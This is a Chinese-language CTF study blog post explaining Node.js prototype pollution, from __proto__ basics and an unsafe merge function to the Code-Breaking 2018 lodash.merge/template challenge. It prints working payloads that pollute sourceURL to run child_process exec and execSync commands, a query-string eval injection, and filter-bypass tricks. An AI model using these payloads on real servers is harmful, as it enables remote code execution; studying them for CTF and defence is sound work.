Node.js原型链污染

Node.js原型链污染

​ 一般审计原型链污染的思路可以从可以执行命令(或能达到目的)的危险函数入手,往上推,尝试找到可控的参数,来污染到危险函数,从而执行命令达到命令。或者,先找到可控的地方再去寻找能够污染的危险函数,来达到目的等。

引入

可以在浏览器的控制台执行下面这行代码:

1
2
3
4
5
6
7
8
9
10
object1 = {"a":1, "b":2};       
// 这一行创建了一个名为object1的JavaScript对象,其中包含两个属性,"a"和"b",分别对应值1和2
object1.__proto__.hey = "Hello World";
// 这一行访问了object1的原型链上的__proto__属性,然后在原型对象上添加了一个名为"hey"的属性,并将其值设置为"Hello World"
console.log(object1.hey);
// 尝试访问object1的"hey"属性。由于在上一步中已经将"hey"属性添加到了object1的原型对象上,所以此时可以成功访问,控制台将输出"Hello World"。
object2 = {"c":1, "d":2};
// 创建了另一个名为object2的JavaScript对象,该对象包含两个属性,"c"和"d",分别赋值为1和2。
console.log(object2.hey);
// 这一行尝试访问object2的"hey"属,控制台输出"Hello World"

​ 明明object2没有hey属性,为什么也可以输出Hello World呢?因为我们对object1的原型对象设置了一个hey属性,而object2和object1一样,都是继承了Object.prototype。在获取object2.hey时,由于object2本身不存在hey属性,就会往父类Object.prototype中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。

​ 可能到你这里还是不能清楚的理解,没关系,这只是简单的引入原型链污染这个概念,下面会尽可能的详细介绍和理解概念(~ ̄(OO) ̄)ブ

prototype和_proto_

在前面的代码中

1
object1.__proto__.hey = "Hello World";

代码访问了object1的原型链上的__proto__属性,然后在原型对象上添加了一个名为”hey”的属性,并将其值设置为”Hello World”,然后就污染了Object.prototype,为什么会这样呢?

  • prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  • 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

搬一下p牛的解释:

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

1
2
3
4
5
function Foo() {
this.bar = 1
}

new Foo()

Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。

一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:

1
2
3
4
5
6
7
8
function Foo() {
this.bar = 1
this.show = function() {
console.log(this.bar)
}
}

(new Foo()).show()

但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

我希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了:

1
2
3
4
5
6
7
8
9
10
function Foo() {
this.bar = 1
}

Foo.prototype.show = function show() {
console.log(this.bar)
}

let foo = new Foo()
foo.show()

我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法。

我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。

一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

1
foo.__proto__ == Foo.prototype

现在回到之前的例子

1
object1.__proto__.hey = "Hello World";

这里将hey属性和值”Hello World”赋给object1的父类的prototype也就是object.prototype

console.log(object2.hey);就可以输出”Hello World”

原型链污染的条件

我们已经知道了可以通过设置__proto__的值来使原型链被污染,但是进一步的看,该如何才能设置__proto__,(毕竟一个正常的程序肯定不会出现任由我们设置__proto__来造成污染的)

其实一些操作能够达到控制数组(对象)的“键名”的效果:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
  • copy等

以最常见的对象merge为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)

object3 = {}
console.log(object3.b)

需要注意的是:

在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

运行结果:

1
2
1 2
2

可以看到object3已经被污染了,应为它一开始并没定义属性b

从污染原型链到执行代码

现在已经可以造成原型链污染了,那么怎么利用污染来进一步利用,执行代码呢?︿( ̄︶ ̄)︿

和php等语言一样,node.js等js中也存在着一些可以用来执行代码的危险函数

一些危险函数或方法

eval()、setInteval(some_function, 2000)、setTimeout(some_function, 2000);、Function(“console.log(‘HelloWolrd’)”)()等

  • eval()

和php中的eval()一样,它执行其中的的 JavaScript 代码。也就是说如果我们可以控制传入eval的值,就能执行任意js代码

  • setInteval(some_function, 2000)

间隔两秒执行函数

  • setTimeout(some_function, 2000);

两秒后执行函数:

some_function处就类似于eval函数的参数

  • Function(“console.log(‘HelloWolrd’)”)()

输出HelloWorld:

类似于php中的create_function

构造->外部命令

同样的也是和php差不多,eval()等函数只能执行该语言的代码,并不能去执行系统命令,这时候就需要借助一些已有的库或函数来实现执行外部命令了

比较常见的就这两个

  • require(‘child_process’).exec(‘tac flag’);
  • global.process.mainModule.constructor._load(‘child_process’).exec(‘tac flag’)

例如

1
2
3
4
5
6
7
8
9
10
11
var express = require("express");
var app = express();

app.get('/',function(req,res){
res.send(eval(req.query.q));
console.log(req.query.q);
})

var server = app.listen(8888, function() {
console.log("应用实例,访问地址为 http://127.0.0.1:8888/");
})

执行命令ls

1
/?q=require('child_process').exec('ls');

一些例子

以后遇到这个类型比较有意思的题目可能会记录在这里,但现在除了ctfshow上面的也没遇到过该类型的题目,先记一下p神文章中的Code-Breaking 2018的这个经典例子吧

Code-Breaking 2018 Thejs

完整代码在这里

主要看一下出现漏洞的部分,server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// ...
const lodash = require('lodash')
// ...

app.engine('ejs', function (filePath, options, callback) {
// define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})
})
//...

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

res.render('index', {
language: data.language,
category: data.category
})
})

根据上面的学习,可以看出来lodashs.merge函数这里存在原型链污染漏洞。

条件有了,接下来就需要找出能够利用的函数或功能,

该页面最终会通过lodash.template进行渲染,看lodash/template.js

1
2
3
4
5
6
7
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

sourceURL是通过下面的语句赋值的,options默认没有sourceURL属性,所以sourceURL默认也是为空。

1
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';

如果我们能够给options的原型对象加一个sourceURL属性,那么我们就可以控制sourceURL的值。

继续往下面看,最后sourceURL传递到了Function函数的第二个参数当中,这里的Function函数就是前面说的危险函数

到这里就能构造去执行代码了

payload:

POST传给主页面

1
{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}}

还有一个更好的payload

1
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}

关于为什么要多加一个for循环,p神的解释

一些特性

以后如果遇到什么有趣的特性就记在这里吧

  • 有时候可以用大写或小写绕过限制
1
2
toUpperCase()是javascript中将小写转换成大写的函数。
toLowerCase()是javascript中将大写转换成小写的函数。
  • 过滤逗号

node.js会把同名参数以数组的形式存储(处理req.query.query的时候,会把这些值都放进一个数组中),而JSON.parse会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析

参考资料

深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)

Node.js 常见漏洞学习与总结 - 先知社区 (aliyun.com)

再探 JavaScript 原型链污染到 RCE - 先知社区 (aliyun.com)

几个node模板引擎的原型链污染分析 | L0nm4r (lonmar.cn)

浅析CTF中的Node.js原型链污染 - FreeBuf网络安全行业门户


Node.js原型链污染
https://www.supersmallblack.cn/Node.js原型链污染.html
作者
Small Black
发布于
2023年9月20日
许可协议